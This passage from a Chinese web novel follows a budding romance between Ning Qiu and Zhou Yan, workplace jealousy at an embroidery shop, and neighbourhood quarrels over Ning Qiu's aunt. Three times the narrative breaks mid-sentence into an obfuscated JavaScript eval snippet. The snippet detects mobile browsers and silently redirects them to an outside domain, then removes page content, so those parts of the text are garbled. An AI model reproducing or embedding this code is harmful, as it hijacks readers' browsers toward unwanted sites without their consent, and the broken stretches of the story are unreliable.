她继续道：“之前你请我来是为了照顾生病的婶娘，但是我住进来后感觉婶娘的病也没严重到需要特意请人照料，我吃住都在你家，你和婶娘对我也非常照顾，我很感激。只是时间一长，这份月银我拿着心里不踏实，你们帮我已经够多了。” “所以。” 宁秋顿了顿，眼神越发坚定，郑重地对周砚说出自己的决定。 她道：“所以我想辞了家里这份活，自己搬出去住了。不过你放心，我们是朋友，以后有什么需要帮忙的事你还是可以找我。” 周砚没想到宁秋竟然要搬出去，心里一紧，有些闷，一时间不知该怎么回答。 “我现在还没找到新住处，需要在你家继续打扰几天，提前和你说一声。”宁秋迟迟没等到周砚的回话，又补充了一句。 二人一抬头一低头，相顾无言，但谁也没有移开目光。 良久，周砚才动了动嘴唇，问出了当下他最想知道的事。 “宁姑娘，你在我家住的不开心吗？还是说你心里有什么顾虑？” “没有啊！挺开心的。” 宁秋的眼神闪躲，明明已经在心中做了许久准备，真正面对周砚时，心跳还是不受控地加速，掌心微微透着湿意。 她的回答很敷衍，周砚听出来了，没有拆穿，继续开口引导，“既然开心，为何急着搬走，可是听到什么风言风语了？你一个姑娘独身住在外面不安全，如此急迫，定是心中有所顾虑，你可以跟我，或者我娘说，没准我们能解决呢！” 26. 表意 “我真的没什么顾虑，就是，就是觉得住一起不方便。” 宁秋被他问的没办法，破罐子破摔小声回了一句，话音刚落，感受到周砚灼人的视线，她白嫩的脸庞不自觉爆红，迅速低下了头。 周砚将她所有的反应都看在眼里，心中已经有数了。 他紧绷的神情一松，语气里带上些许笑意，温声说道：“若是我在家中让你感到不便，我可以像之前那半个月一样，早出晚归，与你几乎不会碰面，也就没什么不便了。” “啊？”宁秋一愣，满眼不可置信。 周砚又道：“阿娘她很喜欢你，有你在家陪伴，我在外公办也能放心些。” “所以不管出于你自身的安全考量，还是出于我和阿娘的建议，我都希望你能慎重考虑。” 周砚眼神真挚，言辞恳切，本不善言辞的他一口气说那么多话，还处处站在宁秋的角度为她考虑，宁秋很难不动容。 她原本已经计划好了，告知周砚后尽快找房子搬家，顺便将隐秘萌发的心动扼杀在摇篮里，现在面对周砚，听着他的分析与建议，她却迟疑了。 “反正房子还没找到，你多花点时间考虑清楚，不管你做什么决定我和阿娘都支持，确定后跟我说一声吧！” 周砚看出了宁秋的纠结，趁热打铁地游说她，随即沉静的眼眸闪过一抹狡黠，抬手在她头顶轻轻拍了拍，当即得了一个白眼。 他倏然一笑，手故意不放开，继续说道：“时辰不早了，赶紧收拾干净好好休息，有什么改日再说。” “哎呀，你别拍我头。” 宁秋被他一打岔，纠结的心思暂且搁置在一边，嗔怪地继续瞪他，没好气道：“什么时候养出来的毛病，不是弄乱我头发就是拍我脑袋。哼，幼稚，再这样我就不考虑了，直接搬走。” “好好好，我不动你头了。” 周砚讪讪收回自己的手，看着宁秋有些小傲娇的模样，眼中笑意若隐若现，到底还是没忍住，一本正经地调侃她，“你好好考虑，考虑清楚就别搬走了。” “你想得美。” 宁秋被周砚言语塑造出来的气氛所感染，见他竟然调侃自己，心里痒痒的，想到什么就脱口说出来了。 话落，她自己也愣了一下，后知后觉反应过来，他们现在的动作、眼神、对话，似乎已经超出寻常朋友之间的沟通了，顿时有些不知所措，也有些羞赧。 “先这样吧！我去忙别的事。”她低垂着脑袋匆匆留下一句话转身小跑回了屋。 周砚望着她的背影垂眸若有所思，随后敲响了周母的屋门，母子俩在里面嘀嘀咕咕说了一刻钟，出来后，他深深看了宁秋房间一眼，薄唇微微弯起，不再掩饰内心的愉悦，眼中笑意尽显。 正如阿娘所言，许多人活了一辈子都未必能遇到一个心仪的人，他既然有幸遇上心动的姑娘，为何还要设置那么多条条框框来阻碍自己，随心而动争取一次不好吗？ 即便结果不如意也好过干看着不行动，若是犹豫过头心仪的人被别人撬走，自己幡然醒悟也为时已晚。 心动不如行动，犹豫就会败北！ 周砚结合之前一个月的小心试探以及宁秋面对他时越来越坦然随意的态度，心中越发有底，也暗暗做了决定。 翌日。 天色沉沉隐有要落雨的迹象。 “一人带一把伞，今日保准会下雨。” 周母将宁秋和周砚送出门外，强制性给他们一人塞了一把伞，随即看向周砚，叮嘱道：“秋秋我很放心，砚哥儿你注意点，下雨就老老实实撑伞，别跟娘犟，大冷天淋雨可不是开玩笑的，你从小就不爱撑伞，骂也骂了，打也打过，就是死犟不改。现在你长大了有自己想法，做事更要有分寸，娘就不多说你了。” “娘，差不多得了。”周砚还想维护自己在宁秋面前的形象，浅浅出声提醒一句。 “什么叫差不多得了，你在嫌为娘啰嗦？”周母追问。 “没有，算了，您老想说就继续说吧！” 周砚拒绝无效，只得耐着性子继续倾听周母的唠叨，一边在心中暗暗反驳。 他倒是愿意容忍，但周母不干了，冷哼道：“瞧，多说两句你就摆臭脸，不知道的还以为老娘在无理取闹，不说了，你们赶紧走吧！看到就心烦。” 周母不动声色地使眼色，眼睛都要抽抽了，周砚面上也没给什么反馈，加之听到周砚不耐烦的调调，顿时气不打一处来，干脆真不管了。 说着，她转身大门一关，爱干嘛就干嘛。 周砚与宁秋面面相觑，都很无奈。 “臭脸砚”双臂一摊，温声道：“我娘就是这样，时不时闹点小脾气，傍晚回来就好了，不必管，我们走吧！” “好。” 宁秋也与周母单独相处过一段时间，双方很投缘，没出现过甩脸子的情况，周母的情绪也很稳定。 据她观察，周母只有面对周砚的时候会偶尔生气，发点小脾气，母子俩感情好，倒不会影响什么，宁秋一个借住的外人自然也不会多想。 二人并肩而行，皆有些沉默。 临近巷子出口，周砚突然停下脚步看向宁秋，有些磕巴地说道：“宁姑娘，我......我有件事想和你说，你方便听吗？” 宁秋诧异抬眸，正对上周砚期待的眼神，不知怎的，她心里突然紧张起来，还不知道对方要说什么整个人就不自在起来。 她回避了他的眼神，讷讷道：“嗯，我在听，你说。” 其实周砚心里也很紧张。 他拳头紧了又松，松了又紧，迅速调整好自己的心理状态，才格外认真地说道：“经过一个多月的相处，我对你这个人有了一定的了解，很欣赏你面对困境时的坚韧不屈，赞赏你遇到危险始终不放弃自己、努力寻求突破的态度，生活安稳后，你不管面对繁复的绣活，还是日常的琐碎家务，都难得的保持积极向上的心态。” “我接触过的女子不多，但不可否认，你在我心里是个很特别的存在。” 宁秋没想到周砚一大早会突然说这些，随着他的话一句句落下，她的心跳也不可抑制地加速了。 她本能的想逃避，不敢再与他对视，匆匆别过脸，手臂也不自觉微微发颤，急切地想打断他的话，张口却不受控结巴起来，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645421|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你，你说这些干嘛，赶紧走，等下，等下要迟到了。” 与她的反应相比，周砚顺畅说出心里话之后，整个人都放松下来。 他察觉到宁秋的紧张与逃避，安抚性地后退两步，保持距离，更好地帮助宁秋镇定下来。 “我只是想表达我心里的想法，并不想增添你的负担，你且耐心听一听，不用急着回答我。” 周砚的声音更加柔和，见宁秋状态好了不少，便继续道：“你和我都是适婚的年纪，若是伯父伯母仍在世，现在你应当已经定亲了。” 提及宁父宁母，宁秋心中的紧张与羞怯瞬间褪去，只余难过和失落，二人之间的气氛也逐渐变得压抑。 周砚的声音还在继续响起。 “我知现在提起伯父伯母不合时宜，但机会不多，我不想草草放弃。造化弄人，让你来到平州与我结识，我们之间也因你家中的事产生了一些羁绊，相处下来，我能感受到你并不排斥我。” 周砚顿了顿，说到关键处，还是犹豫了。 宁秋此时已冷静下来，对于周砚所言，能以一种平静的心态看待，聪慧如她，后知后觉也明白了周砚铺垫那么多想要表达的意思。 她突然低笑出声，心境豁然开朗，毅然决然地迎上周砚的目光，不躲不避，主动开口问道：“然后呢？我确实不排斥你，所以周大哥你到底想和我说什么呢？” 此时此刻的她坦荡大方，眼眸中的丝丝光亮仿佛能照进周砚的心，看透他潜藏的心事。 周砚一愣，眼中有诧异一闪而过，想到某种可能，心也随即快速跳动起来。 “我不太懂感情，就是每日看到你都觉得很开心，有你在的地方，我的目光总是不受控地追随，你不在时，心里莫名其妙就会想起，然后疯狂地想见到你。” 周砚从未想过自己有一天也会在姑娘面前认真地诉说情话，还怪难为情的，高高壮壮的汉子此时局促的像个犯错的孩子。 说完，他不好意思地笑起来，郑重地对宁秋说道：“这种状态于我而言十分不对劲，我认真思考过，也听兄弟们说过一些关于感情的话题，我想我好像喜欢上你了。男未婚，女未嫁，宁姑娘觉得我如何？若不排斥，婚配时是否愿意考虑一下我？” 宁秋眉梢一挑，没说愿不愿意，只一个劲笑。 片刻后，她突然转身朝前小跑，语气里多了丝轻快，“那就要看你的表现了。” 周砚的目光随着她的动作朝前，脚步也跟了上去，追问道：“这样，那你要还搬家吗？” “暂时不搬了，看看你今后的表现，若是表现不好我再搬走也不迟。” 宁秋微抬着脸，面上有傲娇，有愉悦，有打趣，各种神情横跳昭显她此刻多变的心情。 周砚紧跟在她的身旁，闻言不置可否，自信回了一句：“放心，我一定会好好表现，不让你有搬家的机会，你等着看吧！” “好，我等着。” 二人你一言我一语，氛围渐渐变得轻松欢快，平时刻意设置的壁垒仿佛一下子全部打破，说起话来，也全然没了平日里的客套。 宁秋很喜欢这种感觉，周砚亦然。 27. 朋友 或许是两人的心境变化太大，明明走的是同一条路，今日却有了完全不同的感受。 宁秋走在前面，周砚就默默跟在后面，走着走着，大小不一的步调不约而同渐渐趋向一致。 他们时不时交汇一个眼神，其间似有万千丝线链接，勾勾缠缠，明明什么话都没说，心里却感觉甜滋滋的，回味无穷。 半个时辰的路途走下来，似乎也没有平时累了。 “我到了。”宁秋道。 金绣阁门口，她双手背在身后，身子小幅度左右晃动，仰头询问周砚：“晚饭你想吃什么，我下工回去买。” “都行，我不挑食。”周砚没有半点犹豫直接回答。 他们相对而立保持着正常距离，目光落在彼此的脸上，那种谁也插不进去的氛围惹得不少人侧目。 “哦，我知道。”宁秋有些失望，看了看天色，忙催促他道；“我这边没什么事了，时辰已晚，你赶紧去府衙，迟到不好，去吧去吧！我也要进铺子干活了。” “嗯，那我走了。” 周砚颔首，嘴上说着要走，脚步却迟迟不挪动，炙热的目光依旧停留在宁秋的身上，看得她很不好意思。 正巧这会儿陈红菊路过，她今日起晚了，一路跑过来累的气喘吁吁，便停在门口扶着门框缓和片刻。 一转头，她就看见宁秋与一名官差站在不远处，也不知道聊什么，笑容过于明媚，直晃她的眼睛。 陈红菊这人喜欢拿自己跟别人比，心眼还小，总是想法设法打听铺子里其他绣娘的情况，若别人不如她就一个劲炫耀，若自己不如别人就会心生嫉妒，私底下说小话，处处挑毛病。 宁秋之前的工位与她相邻，没少受她的荼毒，整日阴阳怪气，不是挑宁秋的绣活的刺，就是编排她的长相，讨厌得紧。 “秋娘子。” 陈红菊大喊一声，不仅宁秋和周砚看过去，路过的行人还有刚到铺子的绣娘们也纷纷投去目光。 “你跟这位差爷什么关系，大庭广众之下，你们靠得也太近了，我跟我未婚夫都不会凑那么近，还是注意点为好。” 陈红菊一边说一边朝着宁秋二人走来，当她看清周砚的面容时，眼中闪过惊艳随即化为嫉妒，看宁秋就更不顺眼了。 “我怎么样与你何干？陈红菊，你不会说话就别说了，先管好你自己吧！” 宁秋忍陈红菊很久了。 之前是顾虑到大家在一间屋子里做工，座位还相邻，抬头不见低头见，不好闹得太难看。 如今她成了二级绣娘，工位按规定要搬到另一间工房，金绣阁那么大，各有各的忙碌，她们以后见面相处的机会少之又少，自然也没必要继续忍让。 宁秋表意明确的一句反驳直接点燃了陈红菊的暴脾气，她瞪大了双眼，不可置信道：“宁秋，你竟然敢这么跟我说话？你什么东西，别以为成了二级绣娘就了不起了，我姐姐可是三级绣娘，得罪我对你没有好处，你......” “那又怎么样？”宁秋出声打断她，还不雅地翻了一个白眼，不以为意道：“你姐是三级绣娘又不是你是三级绣娘，管的真多，咱们都是为金绣阁做事，东家给我们发月银，我们就好好干活，金绣阁又不是你家铺子，你们姐妹还能让我滚蛋不成？” 这话宁秋自己听在耳中都不禁轻嗤，陈红菊真有那能耐也没必要在此苦哈哈做活了。 她淡淡瞥了陈红菊一眼，见其有暴起的迹象忙道：“你最好收敛一点，别忘了，咱们还站在铺子门口，往来人那么多，要是闹起来影响铺子生意，谁也别想好过，你自己发疯可别连累我。” “你你你......” 陈红菊气急败坏，却碍于宁秋所言以及周砚的官差身份不敢太造次，伸手指着宁秋“你”了半天，最后憋出一句“你等着”，雷声大雨点小，宁秋差点没忍住笑出声。 看着陈红菊气呼呼进铺子的背影，宁秋回头对周砚说道：“周大哥，我先进去干活，你也别耽搁了正事。” “好，去吧！” 周砚站在原位看着宁秋走进铺子才收敛眼中的赞赏转身离开。 ...... 金绣阁内规矩还算严，不允许绣娘之间斗来斗去，不允许内部有任何影响铺子的言论传扬出去，不允许上工期间做外面的私活…… 规矩一条接一条，足足罗列了三十条，这些规矩在绣娘们入选绣阁第一天就有管事教导，所有人都要熟记，宁秋和陈红菊自然也不例外。 是以，陈红菊一进到铺子里整个人都收敛很多，只在看到宁秋时不满地冷哼一声，故意甩脸子。 宁秋熟知她的尿性，看到了也全当没看见，顶着所有一级绣娘们打量的眼神款款朝陈管事的工房走，很快就跟着陈管事离开。 金绣阁大堂墙面上已经张贴了最新的绣娘名录，大家伙都知道宁秋已经通过考核晋升二级绣娘，见人一走，三三两两立马讨论起来。 有人保持沉默，有人诚心祝福，也有人愤愤不平满嘴酸话，其中就数陈红菊说得最起劲。 她与宁秋刚刚大吵了一架，心里正记恨着无处发泄，这会儿有人递来话头，她立马响应，趁管事不在好一通编排，还将宁秋与周砚在门口聊天的事添油加醋绘声绘色地叙说一遍。 话里话外影射宁秋不自爱不检点，能晋升二级绣娘也是因为长了副好皮囊，用手段走捷径了。 大部分人还是很理智的，听到陈红菊的话也全当没听见，根本不相信。 只有几人心中嫉妒，巴不得找各种理由将刚刚起飞的宁秋拉下来狠狠踩一脚。 她们狭隘嫉妒却自私胆小，即便心里有很多不满也不敢当着宁秋的面说，陈红菊的出现恰好给了她们抒发内心阴暗面的机会。 她们听陈红菊胡扯，装出一副很为难不便撕破脸的模样，时不时附和陈红菊几句，如此一来，隐晦的目的达到了，也不会影响到她们自己。 人精到处都有，像陈红菊这样的棒槌却不多见。 她根本不知道其他人的想法，还在暗自得意，可惜得意不过一刻，陈管事回来立马板着脸单独找她谈话，活计没丢，但是被严厉批评，还得到了“再有下次就滚蛋”的警告。 她很不服气，却迫于无奈不得不妥协，因此消停了一段时间。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15649908|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 另一边，宁秋在二级绣娘的专属工房里结识了新的朋友。 新朋友名唤崔婉莹，是个圆脸大眼睛的可爱姑娘，今年十六岁，与宁秋年纪相仿，很是投缘。 吃午饭时，她俩凑在一起嘀嘀咕咕，通过闲谈，宁秋了解到崔婉莹的父亲跟在东家身边做管事，天南地北到处打理产业，很得东家的信重。 所以崔婉莹想学刺绣的手艺，她爹便将她塞进金绣阁，等手艺学成，不管她是选择留在铺子里还是想去东家府上做绣娘，她爹都能安排的妥妥帖帖。 宁秋闻言有些羡慕，不过她是个理性的姑娘，羡慕却不嫉妒，明白个人有个人的缘法，不必在意太多，过好自己当下的生活就已经很厉害了。 崔婉莹家世不错，那也是人家阿爹拼搏几十年换来的，崔婉莹本身也很认真做事，有关系却也不会全然依赖关系，勤勤恳恳，不断进步。 宁秋觉得阿爹若还在世，她的日子或许会比崔婉莹还自在。 她阿爹是个秀才，若非意外离世，以她阿爹的才学，明年下场秋闱应当能榜上有名。 想起阿爹，宁秋心里不免又难过起来。 “秋秋，你怎么了？”崔婉莹说的正起兴，忽然发现对面的宁秋情绪不对，忙关切询问。 宁秋摇摇头，简单回一句“没事”。 她不想崔婉莹追问下去，便顺势转移了话题，改问崔婉莹道：“莹莹，那你以后要留在铺子里吗？” 崔婉莹性子直爽，没什么心眼子，宁秋一问，她的思绪果然就被转移了，当即笑道：“嗯，我爹希望我进府给大小姐当丫鬟，平时帮忙做做针线，月银高，事还少，但是我不愿意，当丫鬟要签卖身契，处处看别人脸色，短契还好，就怕小姐习惯了我的伺候，以后嫁人也要带着我，届时就不是我爹说的算了，老爷同意，就是我爹也不能拒绝。” “确实，我刚到平州也考虑过卖身做丫鬟，毕竟无依无靠，连自己都养活不了，后面想想还是算了，我咽不了伺候人的苦，还好遇上金绣阁招工，不然我现在还不知道在哪个角落里讨食呢！” 宁秋的话多少带了点开玩笑的意味，偏偏崔婉莹太实诚，听到这话立马呸呸两声，没好气道：“瞎说什么胡话，你以后的日子一定会越过越好，莫说丧气话，会影响自己的气运，要每日肯定自己，说积极向上的话，这样好气运知道你过得好，闻着味也会不断来，你听我的准没错。” “好好好，我都听你的。” 二人相视一笑，愉快地结束一顿饭。 宁秋现在是二级绣娘，需要接触新的工作内容，有些活是她之前没做过的，还好她学习能力强，上手快，熟悉后干活的速度丝毫不比熟手慢，质量也有保障，今日依旧是没到正常下工时间就完成了任务。 考虑到时间尚早，宁秋跟铺子买了点布块和针线，打算绣几块手帕放在铺子里卖，手艺品级上升，她寄卖的东西价格也能相应提高一点。 就这么干到申时，她才匆匆收拾东西告别崔婉莹回家了。 路上，宁秋一直盘算着买什么菜品，怎么说今日也是周砚跟她表明心意的好日子，她不想平平淡淡过去了。 28. 苗头 虽然他们两人的关系还没到可以往外说的地步，但自家多弄点好菜小小庆祝一下还是非常有必要的。 宁秋希望在有限的条件里赋予生活更多的美好，这样一来，不管她跟周砚能不能走到最后，当下的点点滴滴都将是美好的回忆。 她一向只纠结那些不确定且没把握的事。 比如，她察觉到自己对周砚起了别样的心思，第一反应是权衡利弊，然后告诉自己不可取，尽快采取措施将那种念头压下去。 现在知道周砚同样对她有意，她也能很快进入状态，不再压制自己的情感，任由它如野草般肆意生长。 她觉得自己很不幸，无依无靠，身边亲人都是豺狼虎豹，恨不得吃她的血肉。 同时，她又觉得自己很幸运，每次遇险都能化险为夷，逢贵人，再一步步跨出歧路步入正轨。 而周砚便是那位帮助她最多的贵人。 她感激周砚，也整日想着报恩，但她的报恩绝对不包括出卖自己的身体和感情，若非周砚主动表明心意，她会毫不犹豫搬出周家，然后再找机会利用金钱和人情去回馈。 说来说去，还是他俩有缘，中途那么多乱七八糟的事情发生，但凡缘分少一点，二人都不可能走到这一步。 宁秋一边往家走一边在心里胡思乱想，将最近两三个月经历的事情都过一遍，莫名有些佩服自己了。 “哟，宁姑娘回来了？” “啊？对，回来了。” 宁秋刚买完菜回到巷口，便见一个眼生的年轻妇人与她打招呼，她不认识人家，但还是礼貌做出回应。 本以为只是邻里客套，随便搭两句就各自拜拜，谁知那妇人自来熟，见宁秋要走立马伸手拉住了她。 宁秋疑惑看去，面色不愉地挣脱开自己的手臂，用眼神询问对方想干嘛？ “哎呀，都是女子抓两下又不会少一块肉，宁姑娘也太敏感了。” 那妇人捂嘴偷笑，眼珠子快速转动，眼神飘忽不定，闪着精光，将宁秋上上下下打量一遍，看的宁秋浑身不舒服。 她后退一步，不悦问道：“嫂子，我们好像不认识吧？对于陌生人别说抓一下了，就是靠近都觉得冒犯，您有话直说，不必同我绕弯子，要是没事，我便先走一步回家做饭了。” 宁秋神情冷淡，说话也很不客气。 那妇人见她是这样的态度顿时不干了，当即双手叉腰，目露凶光，指着宁秋趾高气昂骂道：“看来你姑姑对你的评价一点没错，你这种没教养不敬长辈的小贱人活该没人要。” “别以为跟了砚哥儿就高枕无忧，没名没分，不过是个玩物，还真当自己是根葱，哪天砚哥儿媳妇进门，我看你怎么办？” “你姑姑那么好一个人，体谅你爹娘都没了好意收留你，没想到被亲侄女背刺，你个丧门星，巧娘一家人都被你害惨了。” 妇人的嘴嗒嗒嗒不断输出，宁秋的三观再次被刷新。 她实在不理解，为什么会有人对一个自己都不了解的陌生人产生如此大的恶意。 看着面前唾沫横飞的场景，宁秋突然觉得很没意思，也没有任何吵架的欲望。 她就平静地站在那，如同一个局外人。 “怎么不说话，哑巴了？”妇人的话依旧恶意满满。 宁秋淡淡地看着她，突然发笑，无所谓道：“既然你觉得宁巧娘天下第一好，那你去给她做侄女吧！” “什么？”年轻妇人满眼不可置信。 “我说，你去给宁巧娘做侄女。” 宁秋的耐心即将告罄，她一字一句继续说道：“她那么好，一定会为你挑一个上档次的青楼，要最高的价来体现对你的重视，她对你这么好，你一定能感受到并且欣然接受，届时你们二人再唱一曲姑侄情深，定能感动不少恩客。” “你你你……” 宁秋一把拨开妇人乱指的手，冷哼一声，扔下最后一句话。 “别你了，实在太闲就去问问左邻右舍我与庞家之间到底怎么回事？谁对谁错一目了然，莫再傻乎乎出头，被人当枪使还不自知，蠢透了。” “你你你……” “嫂子还是先管好自己吧！你我不熟，我的事用不着你操心。” 宁秋白了妇人一眼，拎着菜快步离去。 周家距离二人争执的位置并不远，声音没收着，家里的周母早听到动静了，只是她见宁秋还能应付过来，便没出去帮忙。 人一回到家，她立马迎上来问道：“秋秋回来了，方才什么情况，有没有受委屈？” “我没事，就是遇到一个棒槌，跟她吵了一架，有点影响心情。” 宁秋将菜全部放到桌子上，一边跟周母吐槽年轻妇人无脑的举动，一边将菜收拾分类，该洗的洗，该切的切。 周母也过来帮忙，边道：“我出去瞧了一眼，骂你的是巷西路口花婆子的儿媳妇，她也在朱员外府上做事，可能是你姑姑在她面前卖惨颠倒黑白了。秋秋莫忧心，明儿我路过，找花婆子好好说道说道。” “好，多谢婶娘。”宁秋甜甜一笑，倒不是她得理不饶人，实在是被人在意的感觉太好了，她不想驳了周母的好意。 饭菜陆续上桌，周砚也终于回来了。 “哟，今日太阳打西边出来了？” 周母诧异的询问声传进厨房，将宁秋的好奇心勾起，偏偏她此时在炒菜离不开人，想去看一眼都不成。 “儿啊！你还是你吗？没有被脏东西附身吧？” “没有。” 周砚言简意赅，不太想理会周母。 “我怎么这么不信呢？”周母啧啧两声，连擦手都顾不上，快步走到儿子身边围着他转一圈，随即伸手想触碰他怀中的鲜花被他躲开了，“啧，还挺宝贝，碰一下都不给，老树开花真了不得。” 周母眉眼带笑，话中意有所指，以她的敏锐和对儿子的了解，八成是有大情况了，再结合今日宁秋买许多菜的举动，她越想越兴奋，当即也顾不得周砚了，乐呵呵跑进厨房，直接抢走宁秋手中的锅铲，催促道：“我来我来，秋秋你出去一下，砚哥儿有东西要给你，快去快去。” “我菜还没炒完。”宁秋扭扭捏捏回一句。 她零星听到一点母子俩的对话，明白周母已经知道她和周砚的事了，这会儿羞得不行，突然心生怯意，不敢出去面对了。 周母盼这日盼了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15657715|171183||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久，好不容易看到曙光，机会难得，今日她无论如何也要将事情做实了。 听宁秋这种时候还在顾虑炒菜，忙道：“哎哟，都什么时候了还想着菜，炒菜还有我，糊不了，你安心出去，去吧去吧，砚哥儿还在外面等着呢！” 周母面上是掩饰不住的欣喜，轻轻推了宁秋一把，宁秋羞涩的同时心中也隐隐生出些许期待，告诉周母锅里的菜已经放过盐便迈着小碎步出去了。 庭院里，周砚刚从杂物间翻出一个陶罐，往里面灌水，又将带回来的鲜花放进去养着，忙完一转头便见宁秋站在不远处含羞带怯地看着他。 “宁姑娘。”周砚倏然一笑，抱着陶罐走过来，“路过水月庵看到一个卖花的小姑娘，觉得花不错，很新鲜，我就买下来了。” “嗯。”宁秋的目光只在鲜花上停留了片刻，并未多言。 便听周砚又道：“送你的，刚看你在忙就先找个陶罐养着，陶罐有点丑，希望你不要嫌弃。” “不会，花很漂亮。”宁秋深吸一口气，只觉得心里甜丝丝的，忍不住抬头看向周砚，笑道：“多谢周大哥，我，我很喜欢。” “喜欢就好。” 周砚将花递给宁秋，二人的眼神在半空交汇，一触即离，片刻后又不约而同重新看向彼此。 这一刻，好似有万千流光划过，二人皆笑了起来。 早上的相处状态因心意明朗而水到渠成，关系自然而然地拉近，经过一天的工作沉淀，那种心动渐渐平静，傍晚再见，他们之间难免会生出些许不自在的感觉，面对彼此也重新变得拘谨。 一束花，一个默契的笑容，顷刻间便将二人之间轻微的心理阻隔打破，早上的状态又回来了。 周砚很清楚自己的短板，不会说那些甜言蜜语哄姑娘开心，嘴巴不给力他就琢磨着从行动入手，尽可能地对宁秋好，让她感受到自己的诚意。 买花还是以前听衙门的兄弟提到过，今日下衙正好看见就买下试一试。 见宁秋真心喜欢自己带的小礼物他心里也很高兴，面色越发柔和，当即就随心直言道：“喜欢的话，我下次还给你买。” “那倒不必。”宁秋闻言想也没想直接拒绝了。 话说出口，她察觉到周砚有一瞬间的失落，忙补充道：“周大哥，我没别的意思，只是觉得鲜花不实用，经常买太浪费银子了，咱们家又不是大富大贵的豪绅，与其将银子浪费在没多大用处的花上，不如用来买肉吃，多补补身体，这世道赚点钱很不容易，该省省该花花，好好过日子才是正道。” 周砚也觉得宁秋所言在理，便点点头，应道：“好，我都听你的。” 饭桌上，周母八卦起二人的事，问东问西，兴致勃勃，愣是将好好一顿饭搞成了“审问大会”，周砚和宁秋想装聋作哑都不行。 自这日之后，周砚与宁秋的心更近了一步，相处的氛围也更加微妙了。 他们没有之前那么多顾虑，有时候在外面也会避着人偷偷牵手，或者做其他比较亲密的动作。 然世上没有不透风的墙，即便他们很小心，次数多了，难免会有疏漏，一来二往，老槐巷又莫名其妙出现新的风言风语了。 29. 公开 周砚和宁秋都很忙，白天的时间基本都在铺子和府衙，家里的情况周母不主动提起，他们几乎不会过多去关注，默认一切安好了。 冬月十六这一日，宁秋身体不太舒服提前回了老槐巷，人还没进巷子就听见里面吵吵嚷嚷，很是热闹。 她从嘈杂中隐约辨出周母的声音，疑惑蹙眉，面上浮现担忧神色，不禁加快了脚下的步调。 可那争执好像很激烈，声音不断地传入她的耳中，促使着她的步调更急切了。 老槐巷不大，巷子也算不得特别深，宁秋走着走着就耐不住小跑起来，半刻钟左右回到周家门口，也终于看清了争吵双方的脸。 巷子两头围满了看热闹的邻居，前路堵住她进不去，便藏在围观邻居的后面，踮起脚小心翼翼查看中间的情况。 这一看，她乐了。 只见自家整日笑盈盈很好说话的婶娘双手叉腰，时不时伸手指着对面，嘴巴如同点燃的鞭炮噼里啪啦持续输出，不仅声音大，脑子转动的也很快，宁秋听了好一会儿也没听到重复的话，心中顿时佩服不已。 按照周母的战斗力根本不需要别人帮忙，她自己就能一对三完胜对面的人。 “呸，我自己家想让谁住就让谁住，关你们屁事，咸吃萝卜淡操心，真以为她宁巧娘是什么好东西。” “可怜，她宁巧娘有大路边的乞丐可怜吗？吃饱穿暖还有宅子遮风挡雨，她哪里可怜？再说了，她可怜又不是老娘造成的。” “对对对，你们善良温柔，跟天仙一样，就我王桂花是恶人，几个臭不要脸的，你们真好意思说，那么善良怎么不把她接回自己家供起来？” “呵，说的比唱的好听，她相公打她是不对，但这跟我有什么关系？” “庞桥又不是我儿子，再说了，那么大个拳头砸下来她看不见吗？知道对方要打人自己不跑，也不求救，大家伙听到声音纷纷过去拉架，人家帮了她，结果她反嘴还帮庞桥说话，大有嫌别人多管闲事的意思，自己不争气，挨打也是活该。” “哦哟，庞桥赌钱欠了一屁股债还不上，一家子恶心玩意就合谋想卖秋秋，还是奔着钱多卖去青楼，一点也不管秋秋的死活，谁摊上这种亲戚都是倒八辈子血霉了。” “也是搞笑，他们家六口人，怎么卖自己人？还有苦衷，很可怜，苦衷个屁，不要脸，没道德没底线，也就你们两个蠢货还把宁巧娘当朋友，在这跟我争，我劝你们还是远着她点，别哪日不顺心把你们也卖了。” 对面两人有一个宁秋也认识，是花婆子的儿媳妇白梅儿，一个月前自以为是地替宁巧娘出头，特意在巷子里堵宁秋，被宁秋反骂回去了。 宁秋让她先调查清楚情况再说话，后面不见她再有动静还以为学乖了，不曾想时隔一个月这人又出来蹦跶，不见半点长进，依旧被宁巧娘那副唯唯诺诺的可怜样牵着鼻子走。 明明是在为宁巧娘争吵，但站在最前面与周母对峙的却是白梅儿和一个不认识的妇人，宁巧娘则装出害怕的模样躲在后面，心安理得的被别人保护，瞧着真是可笑。 “你你你......你少在那血口喷人。” 白梅儿梗着脖子反驳，自认为很了解宁巧娘，觉得自己的好姐妹不是那样的人。 